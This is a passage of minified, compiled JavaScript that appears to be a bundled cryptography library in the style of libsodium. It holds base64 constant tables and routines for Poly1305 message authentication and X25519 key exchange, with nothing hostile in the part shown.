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"), A7(e5, 33676, "AQ=="), A7(e5, 33712, "AQ=="), A7(e5, 33744, "4Ot6fDtBuK4WVuP68Z/EatoJjeucMrH9hmIFFl9JuABfnJW8o1CMJLHQsVWcg+9bBERcxFgcjobYIk7d0J8RV+z///////////////////////////////////////9/7f///////////////////////////////////////3/u////////////////////////////////////////fw=="), A7(e5, 33936, "Z+YJaoWuZ7ty8248OvVPpX9SDlGMaAWbq9mDHxnN4FuYL4pCkUQ3cc/7wLWl27XpW8JWOfER8Vmkgj+S1V4cq5iqB9gBW4MSvoUxJMN9DFV0Xb5y/rHegKcG3Jt08ZvBwWmb5IZHvu/GncEPzKEMJG8s6S2qhHRK3KmwXNqI+XZSUT6YbcYxqMgnA7DHf1m/8wvgxkeRp9VRY8oGZykpFIUKtyc4IRsu/G0sTRMNOFNUcwpluwpqdi7JwoGFLHKSoei/oktmGqhwi0vCo1FsxxnoktEkBpnWhTUO9HCgahAWwaQZCGw3Hkx3SCe1vLA0swwcOUqq2E5Pypxb828uaO6Cj3RvY6V4FHjIhAgCx4z6/76Q62xQpPej+b7yeHHGgA=="), A7(e5, 34304, "CMm882fmCWo7p8qEha5nuyv4lP5y82488TYdXzr1T6XRguatf1IOUR9sPiuMaAWba71B+6vZgx95IX4TGc3gWyKuKNeYL4pCzWXvI5FEN3EvO03sz/vAtbzbiYGl27XpOLVI81vCVjkZ0AW28RHxWZtPGa+kgj+SGIFt2tVeHKtCAgOjmKoH2L5vcEUBW4MSjLLkTr6FMSTitP/Vw30MVW+Je/J0Xb5ysZYWO/6x3oA1Esclpwbcm5Qmac908ZvB0krxnsFpm+TjJU84hke+77XVjIvGncEPZZysd8yhDCR1AitZbyzpLYPkpm6qhHRK1PtBvdypsFy1UxGD2oj5dqvfZu5SUT6YEDK0LW3GMag/IfuYyCcDsOQO777Hf1m/wo+oPfML4MYlpwqTR5Gn1W+CA+BRY8oGcG4OCmcpKRT8L9JGhQq3JybJJlw4IRsu7SrEWvxtLE3fs5WdEw04U95jr4tUcwplqLJ3PLsKanbmru1HLsnCgTs1ghSFLHKSZAPxTKHov6IBMEK8S2YaqJGX+NBwi0vCML5UBqNRbMcYUu/WGeiS0RCpZVUkBpnWKiBxV4U1DvS40bsycKBqEMjQ0rgWwaQZU6tBUQhsNx6Z647fTHdIJ6hIm+G1vLA0Y1rJxbMMHDnLikHjSqrYTnPjY3dPypxbo7iy1vNvLmj8su9d7oKPdGAvF0NvY6V4cqvwoRR4yITsOWQaCALHjCgeYyP6/76Q6b2C3utsUKQVecay96P5vitTcuPyeHHGnGEm6s4+J8oHwsAhx7iG0R7r4M3WfdrqeNFu7n9PffW6bxdyqmfwBqaYyKLFfWMKrg35vgSYPxEbRxwTNQtxG4R9BCP1d9sokyTHQHuryjK8vskVCr6ePEwNEJzEZx1DtkI+y77UxUwqfmX8nCl/Wez61jqrb8tfF1hHSowZRGyA"), A7(e5, 35136, "U2lnRWQyNTUxOSBubyBFZDI1NTE5IGNvbGxpc2lvbnMB"), A7(e5, 35200, "0I4BAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0="); - var de2, Ie2 = (de2 = [null, function(t7, e6, r11, n9, A8) { - var i4, o5, h5; - return t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, I4 = i4 = (o5 = I4) - 128 & -64, a4[i4 >> 2] = 67108863 & (c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24), a4[i4 + 4 >> 2] = (c4[A8 + 3 | 0] | c4[A8 + 4 | 0] << 8 | c4[A8 + 5 | 0] << 16 | c4[A8 + 6 | 0] << 24) >>> 2 & 67108611, a4[i4 + 8 >> 2] = (c4[A8 + 6 | 0] | c4[A8 + 7 | 0] << 8 | c4[A8 + 8 | 0] << 16 | c4[A8 + 9 | 0] << 24) >>> 4 & 67092735, a4[i4 + 12 >> 2] = (c4[A8 + 9 | 0] | c4[A8 + 10 | 0] << 8 | c4[A8 + 11 | 0] << 16 | c4[A8 + 12 | 0] << 24) >>> 6 & 66076671, h5 = c4[A8 + 12 | 0] | c4[A8 + 13 | 0] << 8 | c4[A8 + 14 | 0] << 16 | c4[A8 + 15 | 0] << 24, a4[i4 + 20 >> 2] = 0, a4[i4 + 24 >> 2] = 0, a4[i4 + 28 >> 2] = 0, a4[i4 + 32 >> 2] = 0, a4[i4 + 36 >> 2] = 0, a4[i4 + 16 >> 2] = h5 >>> 8 & 1048575, a4[i4 + 40 >> 2] = c4[A8 + 16 | 0] | c4[A8 + 17 | 0] << 8 | c4[A8 + 18 | 0] << 16 | c4[A8 + 19 | 0] << 24, a4[i4 + 44 >> 2] = c4[A8 + 20 | 0] | c4[A8 + 21 | 0] << 8 | c4[A8 + 22 | 0] << 16 | c4[A8 + 23 | 0] << 24, a4[i4 + 48 >> 2] = c4[A8 + 24 | 0] | c4[A8 + 25 | 0] << 8 | c4[A8 + 26 | 0] << 16 | c4[A8 + 27 | 0] << 24, A8 = c4[A8 + 28 | 0] | c4[A8 + 29 | 0] << 8 | c4[A8 + 30 | 0] << 16 | c4[A8 + 31 | 0] << 24, s4[i4 + 80 | 0] = 0, a4[i4 + 56 >> 2] = 0, a4[i4 + 60 >> 2] = 0, a4[i4 + 52 >> 2] = A8, z3(i4, e6, r11, n9), $2(i4, t7), I4 = o5, 0; - }, function(t7, e6, r11, n9, A8) { - var i4, o5, h5; - return t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, I4 = i4 = (o5 = I4) - 192 & -64, a4[i4 + 64 >> 2] = 67108863 & (c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24), a4[i4 + 68 >> 2] = (c4[A8 + 3 | 0] | c4[A8 + 4 | 0] << 8 | c4[A8 + 5 | 0] << 16 | c4[A8 + 6 | 0] << 24) >>> 2 & 67108611, a4[i4 + 72 >> 2] = (c4[A8 + 6 | 0] | c4[A8 + 7 | 0] << 8 | c4[A8 + 8 | 0] << 16 | c4[A8 + 9 | 0] << 24) >>> 4 & 67092735, a4[i4 + 76 >> 2] = (c4[A8 + 9 | 0] | c4[A8 + 10 | 0] << 8 | c4[A8 + 11 | 0] << 16 | c4[A8 + 12 | 0] << 24) >>> 6 & 66076671, h5 = c4[A8 + 12 | 0] | c4[A8 + 13 | 0] << 8 | c4[A8 + 14 | 0] << 16 | c4[A8 + 15 | 0] << 24, a4[i4 + 84 >> 2] = 0, a4[i4 + 88 >> 2] = 0, a4[i4 + 92 >> 2] = 0, a4[i4 + 96 >> 2] = 0, a4[i4 + 100 >> 2] = 0, a4[i4 + 80 >> 2] = h5 >>> 8 & 1048575, a4[i4 + 104 >> 2] = c4[A8 + 16 | 0] | c4[A8 + 17 | 0] << 8 | c4[A8 + 18 | 0] << 16 | c4[A8 + 19 | 0] << 24, a4[i4 + 108 >> 2] = c4[A8 + 20 | 0] | c4[A8 + 21 | 0] << 8 | c4[A8 + 22 | 0] << 16 | c4[A8 + 23 | 0] << 24, a4[i4 + 112 >> 2] = c4[A8 + 24 | 0] | c4[A8 + 25 | 0] << 8 | c4[A8 + 26 | 0] << 16 | c4[A8 + 27 | 0] << 24, A8 = c4[A8 + 28 | 0] | c4[A8 + 29 | 0] << 8 | c4[A8 + 30 | 0] << 16 | c4[A8 + 31 | 0] << 24, s4[i4 + 144 | 0] = 0, a4[i4 + 120 >> 2] = 0, a4[i4 + 124 >> 2] = 0, a4[i4 + 116 >> 2] = A8, z3(A8 = i4 - -64 | 0, e6, r11, n9), $2(A8, e6 = i4 + 48 | 0), t7 = nt2(t7, e6), I4 = o5, 0 | t7; - }, function(t7, e6) { - var r11; - return e6 |= 0, a4[(t7 |= 0) >> 2] = 67108863 & (c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24), a4[t7 + 4 >> 2] = (c4[e6 + 3 | 0] | c4[e6 + 4 | 0] << 8 | c4[e6 + 5 | 0] << 16 | c4[e6 + 6 | 0] << 24) >>> 2 & 67108611, a4[t7 + 8 >> 2] = (c4[e6 + 6 | 0] | c4[e6 + 7 | 0] << 8 | c4[e6 + 8 | 0] << 16 | c4[e6 + 9 | 0] << 24) >>> 4 & 67092735, a4[t7 + 12 >> 2] = (c4[e6 + 9 | 0] | c4[e6 + 10 | 0] << 8 | c4[e6 + 11 | 0] << 16 | c4[e6 + 12 | 0] << 24) >>> 6 & 66076671, r11 = c4[e6 + 12 | 0] | c4[e6 + 13 | 0] << 8 | c4[e6 + 14 | 0] << 16 | c4[e6 + 15 | 0] << 24, a4[t7 + 20 >> 2] = 0, a4[t7 + 24 >> 2] = 0, a4[t7 + 28 >> 2] = 0, a4[t7 + 32 >> 2] = 0, a4[t7 + 36 >> 2] = 0, a4[t7 + 16 >> 2] = r11 >>> 8 & 1048575, a4[t7 + 40 >> 2] = c4[e6 + 16 | 0] | c4[e6 + 17 | 0] << 8 | c4[e6 + 18 | 0] << 16 | c4[e6 + 19 | 0] << 24, a4[t7 + 44 >> 2] = c4[e6 + 20 | 0] | c4[e6 + 21 | 0] << 8 | c4[e6 + 22 | 0] << 16 | c4[e6 + 23 | 0] << 24, a4[t7 + 48 >> 2] = c4[e6 + 24 | 0] | c4[e6 + 25 | 0] << 8 | c4[e6 + 26 | 0] << 16 | c4[e6 + 27 | 0] << 24, e6 = c4[e6 + 28 | 0] | c4[e6 + 29 | 0] << 8 | c4[e6 + 30 | 0] << 16 | c4[e6 + 31 | 0] << 24, s4[t7 + 80 | 0] = 0, a4[t7 + 56 >> 2] = 0, a4[t7 + 60 >> 2] = 0, a4[t7 + 52 >> 2] = e6, 0; - }, function(t7, e6, r11, n9) { - return z3(t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0), 0; - }, function(t7, e6) { - return $2(t7 |= 0, e6 |= 0), 0; - }, function(t7, e6, r11) { - t7 |= 0, e6 |= 0, r11 |= 0; - var n9, A8 = 0, i4 = 0, o5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, _5 = 0, Q5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0, P5 = 0, T3 = 0, R5 = 0, G5 = 0, H5 = 0, L5 = 0, O5 = 0, Y5 = 0, K5 = 0, J5 = 0, j5 = 0, z4 = 0, q4 = 0, V3 = 0, W3 = 0, Z3 = 0, $3 = 0, tt3 = 0, rt3 = 0, nt3 = 0, At3 = 0, it3 = 0, ot3 = 0, st3 = 0, at3 = 0, ct3 = 0, ht3 = 0, gt3 = 0, ut3 = 0, lt3 = 0, ft3 = 0, pt3 = 0, dt3 = 0, It3 = 0, yt3 = 0, Ct3 = 0, mt3 = 0, Et3 = 0, wt3 = 0, vt3 = 0, _t3 = 0, Qt3 = 0; - for (I4 = n9 = I4 - 368 | 0; C5 = (o5 = c4[r11 + A8 | 0]) ^ c4[0 | (g5 = A8 + 33680 | 0)] | C5, d5 = o5 ^ c4[g5 + 192 | 0] | d5, p5 = o5 ^ c4[g5 + 160 | 0] | p5, f5 = o5 ^ c4[g5 + 128 | 0] | f5, h5 = o5 ^ c4[g5 + 96 | 0] | h5, u5 = o5 ^ c4[g5 - -64 | 0] | u5, i4 = o5 ^ c4[g5 + 32 | 0] | i4, 31 != (0 | (A8 = A8 + 1 | 0)); ) - ; - if (A8 = -1, !(256 & ((255 & ((o5 = 127 ^ (g5 = 127 & c4[r11 + 31 | 0])) | d5)) - 1 | (255 & (o5 | p5)) - 1 | (255 & (o5 | f5)) - 1 | (255 & (87 ^ g5 | h5)) - 1 | (255 & (u5 | g5)) - 1 | (255 & (i4 | g5)) - 1 | (255 & (g5 | C5)) - 1))) { - for (A8 = e6, e6 = c4[e6 + 28 | 0] | c4[e6 + 29 | 0] << 8 | c4[e6 + 30 | 0] << 16 | c4[e6 + 31 | 0] << 24, a4[n9 + 360 >> 2] = c4[A8 + 24 | 0] | c4[A8 + 25 | 0] << 8 | c4[A8 + 26 | 0] << 16 | c4[A8 + 27 | 0] << 24, a4[n9 + 364 >> 2] = e6, e6 = c4[A8 + 20 | 0] | c4[A8 + 21 | 0] << 8 | c4[A8 + 22 | 0] << 16 | c4[A8 + 23 | 0] << 24, a4[n9 + 352 >> 2] = c4[A8 + 16 | 0] | c4[A8 + 17 | 0] << 8 | c4[A8 + 18 | 0] << 16 | c4[A8 + 19 | 0] << 24, a4[n9 + 356 >> 2] = e6, i4 = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, e6 = c4[0 | A8] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, a4[n9 + 336 >> 2] = e6, a4[n9 + 340 >> 2] = i4, i4 = c4[A8 + 12 | 0] | c4[A8 + 13 | 0] << 8 | c4[A8 + 14 | 0] << 16 | c4[A8 + 15 | 0] << 24, a4[n9 + 344 >> 2] = c4[A8 + 8 | 0] | c4[A8 + 9 | 0] << 8 | c4[A8 + 10 | 0] << 16 | c4[A8 + 11 | 0] << 24, a4[n9 + 348 >> 2] = i4, s4[n9 + 336 | 0] = 248 & e6, s4[n9 + 367 | 0] = 63 & c4[n9 + 367 | 0] | 64, U4(n9 + 288 | 0, r11), a4[n9 + 260 >> 2] = 0, a4[n9 + 264 >> 2] = 0, a4[n9 + 268 >> 2] = 0, a4[n9 + 272 >> 2] = 0, a4[n9 + 276 >> 2] = 0, a4[n9 + 208 >> 2] = 0, a4[n9 + 212 >> 2] = 0, a4[n9 + 216 >> 2] = 0, a4[n9 + 220 >> 2] = 0, a4[n9 + 224 >> 2] = 0, a4[n9 + 228 >> 2] = 0, e6 = a4[n9 + 308 >> 2], a4[n9 + 160 >> 2] = a4[n9 + 304 >> 2], a4[n9 + 164 >> 2] = e6, e6 = a4[n9 + 316 >> 2], a4[n9 + 168 >> 2] = a4[n9 + 312 >> 2], a4[n9 + 172 >> 2] = e6, e6 = a4[n9 + 324 >> 2], a4[n9 + 176 >> 2] = a4[n9 + 320 >> 2], a4[n9 + 180 >> 2] = e6, a4[n9 + 244 >> 2] = 0, a4[n9 + 248 >> 2] = 0, a4[n9 + 240 >> 2] = 1, a4[n9 + 252 >> 2] = 0, a4[n9 + 256 >> 2] = 0, a4[n9 + 192 >> 2] = 0, a4[n9 + 196 >> 2] = 0, a4[n9 + 200 >> 2] = 0, a4[n9 + 204 >> 2] = 0, e6 = a4[n9 + 292 >> 2], a4[n9 + 144 >> 2] = a4[n9 + 288 >> 2], a4[n9 + 148 >> 2] = e6, e6 = a4[n9 + 300 >> 2], a4[n9 + 152 >> 2] = a4[n9 + 296 >> 2], a4[n9 + 156 >> 2] = e6, a4[n9 + 116 >> 2] = 0, a4[n9 + 120 >> 2] = 0, a4[n9 + 124 >> 2] = 0, a4[n9 + 128 >> 2] = 0, a4[n9 + 132 >> 2] = 0, a4[n9 + 100 >> 2] = 0, a4[n9 + 104 >> 2] = 0, a4[n9 + 96 >> 2] = 1, a4[n9 + 108 >> 2] = 0, a4[n9 + 112 >> 2] = 0, r11 = 254; $3 = a4[n9 + 276 >> 2], o5 = a4[n9 + 180 >> 2], tt3 = a4[n9 + 96 >> 2], rt3 = a4[n9 + 192 >> 2], nt3 = a4[n9 + 144 >> 2], At3 = a4[n9 + 240 >> 2], it3 = a4[n9 + 100 >> 2], ot3 = a4[n9 + 196 >> 2], st3 = a4[n9 + 148 >> 2], at3 = a4[n9 + 244 >> 2], M5 = a4[n9 + 104 >> 2], ct3 = a4[n9 + 200 >> 2], x5 = a4[n9 + 152 >> 2], ht3 = a4[n9 + 248 >> 2], T3 = a4[n9 + 108 >> 2], gt3 = a4[n9 + 204 >> 2], R5 = a4[n9 + 156 >> 2], ut3 = a4[n9 + 252 >> 2], F5 = a4[n9 + 112 >> 2], lt3 = a4[n9 + 208 >> 2], S5 = a4[n9 + 160 >> 2], ft3 = a4[n9 + 256 >> 2], C5 = a4[n9 + 116 >> 2], pt3 = a4[n9 + 212 >> 2], l5 = a4[n9 + 164 >> 2], dt3 = a4[n9 + 260 >> 2], d5 = a4[n9 + 120 >> 2], It3 = a4[n9 + 216 >> 2], p5 = a4[n9 + 168 >> 2], yt3 = a4[n9 + 264 >> 2], f5 = a4[n9 + 124 >> 2], Ct3 = a4[n9 + 220 >> 2], h5 = a4[n9 + 172 >> 2], mt3 = a4[n9 + 268 >> 2], u5 = a4[n9 + 128 >> 2], Et3 = a4[n9 + 224 >> 2], i4 = a4[n9 + 176 >> 2], D5 = a4[n9 + 272 >> 2], wt3 = r11, N6 = (_5 = (e6 = 0 - ((e6 = Z3) ^ (Z3 = c4[(vt3 = n9 + 336 | 0) + (r11 >>> 3 | 0) | 0] >>> (7 & r11) & 1)) | 0) & ((A8 = a4[n9 + 132 >> 2]) ^ (z4 = a4[n9 + 228 >> 2]))) ^ A8, a4[n9 + 132 >> 2] = N6, q4 = o5 ^ (Q5 = e6 & (o5 ^ $3)), a4[n9 + 84 >> 2] = q4 - N6, P5 = u5 ^ (B5 = e6 & (u5 ^ Et3)), a4[n9 + 128 >> 2] = P5, V3 = (k5 = e6 & (i4 ^ D5)) ^ i4, a4[n9 + 80 >> 2] = V3 - P5, H5 = f5 ^ (E5 = e6 & (f5 ^ Ct3)), a4[n9 + 124 >> 2] = H5, _t3 = h5 ^ (w5 = e6 & (h5 ^ mt3)), a4[n9 + 76 >> 2] = _t3 - H5, L5 = d5 ^ (m5 = e6 & (d5 ^ It3)), a4[n9 + 120 >> 2] = L5, Qt3 = p5 ^ (g5 = e6 & (p5 ^ yt3)), a4[n9 + 72 >> 2] = Qt3 - L5, O5 = C5 ^ (o5 = e6 & (C5 ^ pt3)), a4[n9 + 116 >> 2] = O5, Y5 = l5 ^ (C5 = e6 & (l5 ^ dt3)), a4[n9 + 68 >> 2] = Y5 - O5, K5 = F5 ^ (d5 = e6 & (F5 ^ lt3)), a4[n9 + 112 >> 2] = K5, G5 = S5 ^ (p5 = e6 & (S5 ^ ft3)), a4[n9 + 64 >> 2] = G5 - K5, J5 = T3 ^ (f5 = e6 & (T3 ^ gt3)), a4[n9 + 108 >> 2] = J5, W3 = R5 ^ (h5 = e6 & (R5 ^ ut3)), a4[n9 + 60 >> 2] = W3 - J5, j5 = M5 ^ (u5 = e6 & (M5 ^ ct3)), a4[n9 + 104 >> 2] = j5, T3 = x5 ^ (i4 = e6 & (x5 ^ ht3)), a4[n9 + 56 >> 2] = T3 - j5, M5 = it3 ^ (A8 = e6 & (it3 ^ ot3)), a4[n9 + 100 >> 2] = M5, R5 = st3 ^ (r11 = e6 & (st3 ^ at3)), a4[n9 + 52 >> 2] = R5 - M5, x5 = tt3 ^ (F5 = e6 & (tt3 ^ rt3)), a4[n9 + 96 >> 2] = x5, S5 = (e6 &= nt3 ^ At3) ^ nt3, a4[n9 + 48 >> 2] = S5 - x5, l5 = Q5 ^ $3, _5 ^= z4, a4[n9 + 36 >> 2] = l5 - _5, Q5 = k5 ^ D5, B5 ^= Et3, a4[n9 + 32 >> 2] = Q5 - B5, k5 = w5 ^ mt3, E5 ^= Ct3, a4[n9 + 28 >> 2] = k5 - E5, w5 = g5 ^ yt3, m5 ^= It3, a4[n9 + 24 >> 2] = w5 - m5, g5 = C5 ^ dt3, o5 ^= pt3, a4[n9 + 20 >> 2] = g5 - o5, C5 = p5 ^ ft3, d5 ^= lt3, a4[n9 + 16 >> 2] = C5 - d5, p5 = h5 ^ ut3, f5 ^= gt3, a4[n9 + 12 >> 2] = p5 - f5, h5 = i4 ^ ht3, u5 ^= ct3, a4[n9 + 8 >> 2] = h5 - u5, i4 = r11 ^ at3, A8 ^= ot3, a4[n9 + 4 >> 2] = i4 - A8, r11 = e6 ^ At3, e6 = F5 ^ rt3, a4[n9 >> 2] = r11 - e6, a4[n9 + 276 >> 2] = l5 + _5, a4[n9 + 272 >> 2] = Q5 + B5, a4[n9 + 268 >> 2] = E5 + k5, a4[n9 + 264 >> 2] = m5 + w5, a4[n9 + 260 >> 2] = o5 + g5, a4[n9 + 256 >> 2] = d5 + C5, a4[n9 + 248 >> 2] = h5 + u5, a4[n9 + 244 >> 2] = A8 + i4, a4[n9 + 240 >> 2] = e6 + r11, a4[n9 + 252 >> 2] = f5 + p5, a4[n9 + 228 >> 2] = N6 + q4, a4[n9 + 224 >> 2] = P5 + V3, a4[n9 + 220 >> 2] = H5 + _t3, a4[n9 + 216 >> 2] = L5 + Qt3, a4[n9 + 212 >> 2] = O5 + Y5, a4[n9 + 208 >> 2] = G5 + K5, a4[n9 + 204 >> 2] = J5 + W3, a4[n9 + 200 >> 2] = T3 + j5, a4[n9 + 196 >> 2] = M5 + R5, a4[n9 + 192 >> 2] = S5 + x5, v4(q4 = n9 + 96 | 0, P5 = n9 + 48 | 0, N6 = n9 + 240 | 0), v4(D5 = n9 + 192 | 0, D5, n9), b4(P5, n9), b4(n9, N6), l5 = a4[n9 + 192 >> 2], _5 = a4[n9 + 96 >> 2], Q5 = a4[n9 + 196 >> 2], B5 = a4[n9 + 100 >> 2], k5 = a4[n9 + 200 >> 2], E5 = a4[n9 + 104 >> 2], w5 = a4[n9 + 204 >> 2], m5 = a4[n9 + 108 >> 2], g5 = a4[n9 + 208 >> 2], o5 = a4[n9 + 112 >> 2], C5 = a4[n9 + 212 >> 2], d5 = a4[n9 + 116 >> 2], p5 = a4[n9 + 216 >> 2], f5 = a4[n9 + 120 >> 2], h5 = a4[n9 + 220 >> 2], u5 = a4[n9 + 124 >> 2], i4 = a4[n9 + 224 >> 2], A8 = a4[n9 + 128 >> 2], r11 = a4[n9 + 228 >> 2], e6 = a4[n9 + 132 >> 2], a4[n9 + 180 >> 2] = r11 + e6, a4[n9 + 176 >> 2] = A8 + i4, a4[n9 + 172 >> 2] = h5 + u5, a4[n9 + 168 >> 2] = f5 + p5, a4[n9 + 164 >> 2] = d5 + C5, a4[n9 + 160 >> 2] = o5 + g5, a4[n9 + 156 >> 2] = m5 + w5, a4[n9 + 152 >> 2] = E5 + k5, a4[n9 + 148 >> 2] = Q5 + B5, a4[n9 + 144 >> 2] = l5 + _5, a4[n9 + 228 >> 2] = e6 - r11, a4[n9 + 224 >> 2] = A8 - i4, a4[n9 + 220 >> 2] = u5 - h5, a4[n9 + 216 >> 2] = f5 - p5, a4[n9 + 212 >> 2] = d5 - C5, a4[n9 + 208 >> 2] = o5 - g5, a4[n9 + 204 >> 2] = m5 - w5, a4[n9 + 200 >> 2] = E5 - k5, a4[n9 + 196 >> 2] = B5 - Q5, a4[n9 + 192 >> 2] = _5 - l5, v4(N6, n9, P5), H5 = a4[n9 + 52 >> 2], m5 = a4[n9 + 4 >> 2], L5 = a4[n9 + 56 >> 2], g5 = a4[n9 + 8 >> 2], O5 = a4[n9 + 64 >> 2], p5 = a4[n9 + 16 >> 2], K5 = a4[n9 + 60 >> 2], f5 = a4[n9 + 12 >> 2], J5 = a4[n9 + 72 >> 2], h5 = a4[n9 + 24 >> 2], j5 = a4[n9 + 68 >> 2], u5 = a4[n9 + 20 >> 2], M5 = a4[n9 + 80 >> 2], i4 = a4[n9 + 32 >> 2], x5 = a4[n9 + 76 >> 2], A8 = a4[n9 + 28 >> 2], z4 = a4[n9 + 84 >> 2], e6 = a4[n9 + 36 >> 2], V3 = a4[n9 + 48 >> 2], r11 = a4[n9 >> 2] - V3 | 0, a4[n9 >> 2] = r11, e6 = e6 - z4 | 0, a4[n9 + 36 >> 2] = e6, F5 = A8 - x5 | 0, a4[n9 + 28 >> 2] = F5, S5 = i4 - M5 | 0, a4[n9 + 32 >> 2] = S5, o5 = u5 - j5 | 0, a4[n9 + 20 >> 2] = o5, C5 = h5 - J5 | 0, a4[n9 + 24 >> 2] = C5, d5 = f5 - K5 | 0, a4[n9 + 12 >> 2] = d5, p5 = p5 - O5 | 0, a4[n9 + 16 >> 2] = p5, f5 = g5 - L5 | 0, a4[n9 + 8 >> 2] = f5, i4 = m5 - H5 | 0, a4[n9 + 4 >> 2] = i4, b4(D5, D5), e6 = Bt2(e6, e6 >> 31, 121666, 0), A8 = y4, W3 = e6, e6 = Bt2((33554431 & (A8 = (l5 = e6 + 16777216 | 0) >>> 0 < 16777216 ? A8 + 1 | 0 : A8)) << 7 | l5 >>> 25, A8 >> 25, 19, 0), u5 = y4, A8 = e6, e6 = Bt2(r11, r11 >> 31, 121666, 0), G5 = y4 + u5 | 0, e6 = e6 >>> 0 > (A8 = A8 + e6 | 0) >>> 0 ? G5 + 1 | 0 : G5, r11 = (h5 = A8 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6, _5 = A8 - (-67108864 & h5) | 0, a4[n9 + 96 >> 2] = _5, u5 = Bt2(i4, i4 >> 31, 121666, 0), A8 = y4, A8 = (i4 = u5 + 16777216 | 0) >>> 0 < 16777216 ? A8 + 1 | 0 : A8, Q5 = (u5 - (-33554432 & i4) | 0) + ((67108863 & r11) << 6 | h5 >>> 26) | 0, a4[n9 + 100 >> 2] = Q5, G5 = (e6 = A8) >> 25, A8 = (33554431 & e6) << 7 | i4 >>> 25, r11 = Bt2(f5, f5 >> 31, 121666, 0) + A8 | 0, e6 = G5 + y4 | 0, e6 = r11 >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, u5 = (B5 = r11 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6, k5 = r11 - (-67108864 & B5) | 0, a4[n9 + 104 >> 2] = k5, A8 = Bt2(p5, p5 >> 